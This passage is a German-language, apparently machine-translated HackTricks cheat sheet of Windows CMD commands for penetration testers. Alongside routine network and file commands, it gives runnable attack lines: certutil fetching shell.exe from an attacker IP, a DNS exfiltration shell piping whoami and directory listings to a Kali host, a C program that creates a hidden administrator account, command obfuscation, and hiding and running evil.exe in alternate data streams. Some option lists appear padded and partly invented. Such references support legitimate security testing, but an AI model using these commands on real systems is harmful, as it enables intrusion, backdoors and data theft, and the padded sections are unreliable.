* `net use \\[IP]\[Freigabe] [Passwort] /user:[Benutzername]`: Verbindet sich mit einer Freigabe auf einem Remote-System.
* `net use`: Zeigt eine Liste der aktuell verbundenen Freigaben an.
* `net use [Laufwerksbuchstabe]: /delete`: Trennt eine Verbindung zu einer Freigabe.
**Beispiele**
* `net share`: Zeigt eine Liste der Freigaben auf dem aktuellen System an.
* `net view \\192.168.0.100`: Zeigt eine Liste der Freigaben auf dem Remote-System mit der IP-Adresse 192.168.0.100 an.
* `net use \\192.168.0.100\freigabe Passwort123 /user:admin`: Verbindet sich mit der Freigabe "freigabe" auf dem Remote-System mit der IP-Adresse 192.168.0.100 unter Verwendung des Benutzernamens "admin" und des Passworts "Passwort123".
* `net use`: Zeigt eine Liste der aktuell verbundenen Freigaben an.
* `net use Z: /delete`: Trennt die Verbindung zum Laufwerk Z, das mit einer Freigabe verbunden ist.
```bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
```
#### Wifi
**Windows**
**Get the list of available wifi networks**
```plaintext
netsh wlan show networks
```
**Connect to a wifi network**
```plaintext
netsh wlan connect name="wifi_name" ssid="wifi_ssid"
```
**Disconnect from a wifi network**
```plaintext
netsh wlan disconnect
```
**Get the wifi network password**
```plaintext
netsh wlan show profile name="wifi_name" key=clear
```
**Enable wifi interface**
```plaintext
netsh interface set interface name="Wi-Fi" admin=enable
```
**Disable wifi interface**
```plaintext
netsh interface set interface name="Wi-Fi" admin=disable
```
**Linux**
**Get the list of available wifi networks**
```plaintext
nmcli device wifi list
```
**Connect to a wifi network**
```plaintext
nmcli device wifi connect ssid "wifi_ssid" password "wifi_password"
```
**Disconnect from a wifi network**
```plaintext
nmcli device disconnect wlan0
```
**Enable wifi interface**
```plaintext
nmcli radio wifi on
```
**Disable wifi interface**
```plaintext
nmcli radio wifi off
```
**Mac**
**Get the list of available wifi networks**
```plaintext
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
```
**Connect to a wifi network**
```plaintext
networksetup -setairportnetwork en0 wifi_ssid wifi_password
```
**Disconnect from a wifi network**
```plaintext
networksetup -setairportpower en0 off
```
**Enable wifi interface**
```plaintext
networksetup -setairportpower en0 on
```
**Disable wifi interface**
```plaintext
networksetup -setairportpower en0 off
```
```bash
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
```
#### SNMP
SNMP (Simple Network Management Protocol) ist ein Protokoll, das zur Verwaltung und Überwachung von Netzwerkgeräten verwendet wird. Es ermöglicht das Abrufen und Ändern von Informationen über diese Geräte. SNMP verwendet eine Client-Server-Architektur, bei der ein SNMP-Manager (Client) Informationen von SNMP-Agenten (Server) abruft.
**SNMP-Versionen**
Es gibt verschiedene Versionen von SNMP, darunter SNMPv1, SNMPv2c und SNMPv3.
* SNMPv1: Die erste Version von SNMP, die grundlegende Funktionen zur Überwachung und Verwaltung von Netzwerkgeräten bietet. Es verwendet eine einfache Community-basierte Authentifizierung, die jedoch unsicher ist, da die Community-Strings im Klartext übertragen werden.
* SNMPv2c: Eine verbesserte Version von SNMPv1, die zusätzliche Funktionen und Verbesserungen bietet. Es verwendet immer noch die Community-basierte Authentifizierung.
* SNMPv3: Die sicherste Version von SNMP, die erweiterte Sicherheitsfunktionen wie Verschlüsselung und Authentifizierung bietet. SNMPv3 verwendet Benutzernamen und Kennwörter für die Authentifizierung und Verschlüsselung für die Vertraulichkeit der übertragenen Daten.
**SNMP-Tools**
Es gibt verschiedene Tools, die für das Arbeiten mit SNMP verwendet werden können:
* `snmpwalk`: Ein Befehlszeilentool, das verwendet wird, um Informationen von SNMP-Agenten abzurufen. Es durchläuft die MIB (Management Information Base) und gibt die abgerufenen Informationen aus.
* `snmpget`: Ein Befehlszeilentool, das verwendet wird, um eine einzelne Information von einem SNMP-Agenten abzurufen.
* `snmpset`: Ein Befehlszeilentool, das verwendet wird, um eine einzelne Information auf einem SNMP-Agenten zu ändern.
* `snmptrap`: Ein Befehlszeilentool, das verwendet wird, um SNMP-Traps zu senden, die Ereignisse oder Fehler an den SNMP-Manager melden.
**SNMP-Sicherheit**
Da SNMPv1 und SNMPv2c unsichere Authentifizierungsmethoden verwenden, ist es wichtig, geeignete Sicherheitsmaßnahmen zu ergreifen, um die Sicherheit des SNMP-Verkehrs zu gewährleisten. Hier sind einige bewährte Sicherheitspraktiken:
* Verwenden Sie SNMPv3, um erweiterte Sicherheitsfunktionen wie Verschlüsselung und Authentifizierung zu nutzen.
* Verwenden Sie starke Kennwörter für die SNMP-Authentifizierung und ändern Sie sie regelmäßig.
* Begrenzen Sie den Zugriff auf SNMP-Agenten auf autorisierte IP-Adressen.
* Überwachen Sie den SNMP-Verkehr und suchen Sie nach verdächtigen Aktivitäten.
* Aktualisieren Sie regelmäßig die SNMP-Software, um Sicherheitslücken zu schließen.
**Zusammenfassung**
SNMP ist ein Protokoll zur Verwaltung und Überwachung von Netzwerkgeräten. Es gibt verschiedene Versionen von SNMP, darunter SNMPv1, SNMPv2c und SNMPv3. SNMP-Tools wie `snmpwalk`, `snmpget`, `snmpset` und `snmptrap` werden verwendet, um Informationen von SNMP-Agenten abzurufen, zu ändern und Traps zu senden. Es ist wichtig, angemessene Sicherheitsmaßnahmen zu ergreifen, um die Sicherheit des SNMP-Verkehrs zu gewährleisten, insbesondere bei der Verwendung von SNMPv1 und SNMPv2c.
```
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
```
#### Netzwerkschnittstellen
Network interfaces, also known as network adapters or NICs (Network Interface Cards), are hardware devices that allow a computer to connect to a network. They provide the necessary physical connection between the computer and the network, enabling communication between devices.
Netzwerkschnittstellen, auch als Netzwerkadapter oder NICs (Network Interface Cards) bekannt, sind Hardwaregeräte, die es einem Computer ermöglichen, sich mit einem Netzwerk zu verbinden. Sie stellen die erforderliche physische Verbindung zwischen dem Computer und dem Netzwerk her und ermöglichen die Kommunikation zwischen den Geräten.
```bash
ipconfig /all
```
#### ARP-Tabelle
Die ARP-Tabelle (Address Resolution Protocol) ist eine Tabelle, die in einem Betriebssystem gespeichert wird und die Zuordnung von IP-Adressen zu MAC-Adressen enthält. Sie wird verwendet, um die Kommunikation in einem lokalen Netzwerk zu ermöglichen, indem sie die MAC-Adresse eines Geräts anhand seiner IP-Adresse ermittelt.
Die ARP-Tabelle kann mithilfe des Befehls `arp -a` in der Eingabeaufforderung angezeigt werden. Dieser Befehl zeigt die IP-Adressen und die zugehörigen MAC-Adressen aller Geräte an, mit denen das System kommuniziert hat.
Die ARP-Tabelle ist auch ein nützliches Werkzeug für Pentester, da sie Informationen über die Geräte im Netzwerk liefert. Durch Überprüfen der ARP-Tabelle können Pentester feststellen, ob ein Gerät möglicherweise gefährdet ist oder ob ein Angreifer versucht, sich als ein anderes Gerät auszugeben (ARP-Spoofing).
Es ist wichtig, die ARP-Tabelle regelmäßig zu überprüfen und verdächtige Einträge zu identifizieren, um die Sicherheit des Netzwerks zu gewährleisten.
```bash
arp -A
```
### Herunterladen
Bitsadmin.exe
```
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
```
## CertReq.exe
CertReq.exe is a command-line tool in Windows that is used to create and submit certificate requests to a certification authority (CA). It is commonly used by system administrators and security professionals for managing certificates in a Windows environment.
### Usage
The basic syntax for using CertReq.exe is as follows:
```plaintext
certreq [options] [requestfile] [responsefile]
```
#### Options
Here are some commonly used options with CertReq.exe:
* **-new**: Creates a new certificate request.
* **-submit**: Submits a certificate request to a CA.
* **-accept**: Accepts a response to a certificate request.
* **-retrieve**: Retrieves a response to a certificate request.
* **-sign**: Signs a certificate request.
* **-policy**: Specifies the certificate policy to use.
* **-config**: Specifies the configuration file to use.
* **-attrib**: Specifies additional attributes for the certificate request.
#### Examples
Here are some examples of how CertReq.exe can be used:
* To create a new certificate request:
```plaintext
certreq -new request.inf request.req
```
* To submit a certificate request to a CA:
```plaintext
certreq -submit request.req response.req
```
* To accept a response to a certificate request:
```plaintext
certreq -accept response.req
```
* To retrieve a response to a certificate request:
```plaintext
certreq -retrieve request.req response.req
```
* To sign a certificate request:
```plaintext
certreq -sign request.req response.req
```
* To specify a certificate policy:
```plaintext
certreq -policy "PolicyName" request.req response.req
```
* To specify a configuration file:
```plaintext
certreq -config "ConfigFile" request.req response.req
```
* To specify additional attributes for the certificate request:
```plaintext
certreq -attrib "Attribute1=Value1&Attribute2=Value2" request.req response.req
```
### Conclusion
CertReq.exe is a powerful command-line tool for managing certificates in a Windows environment. It provides various options for creating, submitting, accepting, retrieving, and signing certificate requests. System administrators and security professionals can leverage CertReq.exe to streamline the certificate management process and enhance the security of their Windows systems.
```
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
```
## Certutil.exe
Certutil.exe is a command-line utility in Windows that is used to manage certificates. It provides various functions for working with certificates, such as installing, exporting, and verifying them.
### Usage
To use Certutil.exe, open a command prompt and type `certutil` followed by the desired command and its parameters.
### Common Commands
Here are some common commands that can be used with Certutil.exe:
* **-addstore**: Adds a certificate or a certificate chain to a certificate store.
* **-delstore**: Deletes a certificate or a certificate chain from a certificate store.
* **-store**: Specifies the certificate store to use.
* **-view**: Displays the contents of a certificate or a certificate store.
* **-exportPFX**: Exports a certificate or a certificate chain to a Personal Information Exchange (PFX) file.
* **-importPFX**: Imports a certificate or a certificate chain from a PFX file.
### Examples
Here are some examples of how Certutil.exe can be used:
* To view the contents of the "My" certificate store, use the command: `certutil -viewstore -store "My"`
* To add a certificate to the "Trusted Root Certification Authorities" store, use the command: `certutil -addstore -f "Root" <certificate_file>`
* To export a certificate from the "Personal" store to a PFX file, use the command: `certutil -exportPFX -p <password> -f <certificate_name> <pfx_file>`
### Conclusion
Certutil.exe is a powerful command-line utility for managing certificates in Windows. It provides a wide range of functions for working with certificates, making it a valuable tool for pentesters and system administrators.
```
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
```
**Finden Sie noch mehr, indem Sie nach `Download` auf** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/) **suchen**
### Sonstiges
```bash
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file
#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden
#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision
#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
#exe2bat to transform exe file in bat file
#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)
# Get error messages from code
net helpmsg 32 #32 is the code in that case
```
#### Umgehung der Zeichen-Schwarzenliste
In einigen Fällen können Webanwendungen bestimmte Zeichen in Eingaben verbieten, um Sicherheitslücken zu verhindern. Dies wird als Zeichen-Schwarzenliste bezeichnet. Es ist jedoch möglich, diese Beschränkungen zu umgehen und dennoch schädlichen Code einzufügen.
Eine Möglichkeit, die Zeichen-Schwarzenliste zu umgehen, besteht darin, alternative Zeichen zu verwenden, die ähnlich aussehen, aber nicht auf der Liste stehen. Zum Beispiel kann das Zeichen "o" durch die Verwendung des griechischen Buchstabens "ο" ersetzt werden.
Eine andere Methode besteht darin, die Zeichenkodierung zu ändern. Durch die Verwendung von Unicode-Zeichen oder Hexadezimalwerten können verbotene Zeichen umgangen werden. Zum Beispiel kann das Zeichen "a" durch den Unicode-Wert "\u0061" oder den Hexadezimalwert "61" ersetzt werden.
Es ist wichtig zu beachten, dass das Umgehen der Zeichen-Schwarzenliste eine Form der Umgehung von Sicherheitsmaßnahmen darstellt und nur zu legitimen Zwecken verwendet werden sollte.
```bash
echo %HOMEPATH:~6,-11% #\
who^ami #whoami
```
#### DOSfuscation
Generiert eine verschleierte CMD-Zeile
```powershell
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
```
#### Adressen-ACLs anhören
Sie können auf [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) ohne Administratorrechte zu haben.
```bash
netsh http show urlacl
```
#### Manuelle DNS-Shell
**Angreifer** (Kali) muss eine der folgenden 2 Optionen verwenden:
```bash
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
```
**Opfer**
Technik **`for /f tokens`**: Dies ermöglicht es uns, Befehle auszuführen, die ersten X Wörter jeder Zeile zu erhalten und sie über DNS an unseren Server zu senden.
```bash
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
```
Sie können auch die Ausgabe **umleiten** und sie dann **lesen**.
```
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
```
### Aufrufen von CMD aus C-Code
In einigen Fällen kann es erforderlich sein, die Windows-Befehlszeile (CMD) aus C-Code heraus aufzurufen. Dies kann nützlich sein, um bestimmte Befehle oder Skripte auszuführen und die Ergebnisse in der C-Anwendung zu verarbeiten.
Um CMD aus C-Code heraus aufzurufen, können Sie die `system`-Funktion verwenden. Diese Funktion ermöglicht es Ihnen, einen Befehl als Zeichenkette an CMD zu übergeben und die Ausgabe des Befehls zu erhalten.
Hier ist ein Beispiel, wie Sie CMD aus C-Code heraus aufrufen können:
```c
#include <stdlib.h>
int main() {
// Befehl, der ausgeführt werden soll
char command[] = "dir";
// CMD aufrufen und den Befehl ausführen
system(command);
return 0;
}
```
In diesem Beispiel wird der Befehl "dir" an CMD übergeben, der das Verzeichnis auflistet. Sie können den Befehl durch jeden anderen gültigen CMD-Befehl ersetzen.
Beachten Sie, dass die `system`-Funktion blockierend ist, d.h. die Ausführung der C-Anwendung wird angehalten, bis der aufgerufene Befehl abgeschlossen ist. Wenn Sie eine nicht blockierende Ausführung wünschen, können Sie stattdessen die `CreateProcess`-Funktion verwenden.
Es ist wichtig zu beachten, dass das Aufrufen von CMD aus C-Code heraus Sicherheitsrisiken mit sich bringen kann, insbesondere wenn Benutzereingaben in den Befehl einbezogen werden. Stellen Sie sicher, dass Sie alle Benutzereingaben ordnungsgemäß validieren und filtern, um potenzielle Angriffe zu verhindern.
```c
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe
int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}
```
### Alternate Data Streams Spickzettel (ADS/Alternate Data Stream)
**Beispiele entnommen von** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Es gibt noch viele weitere dort!**
```bash
## Selected Examples of ADS Operations ##
### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>
### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
```
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family).
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com).
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
</details>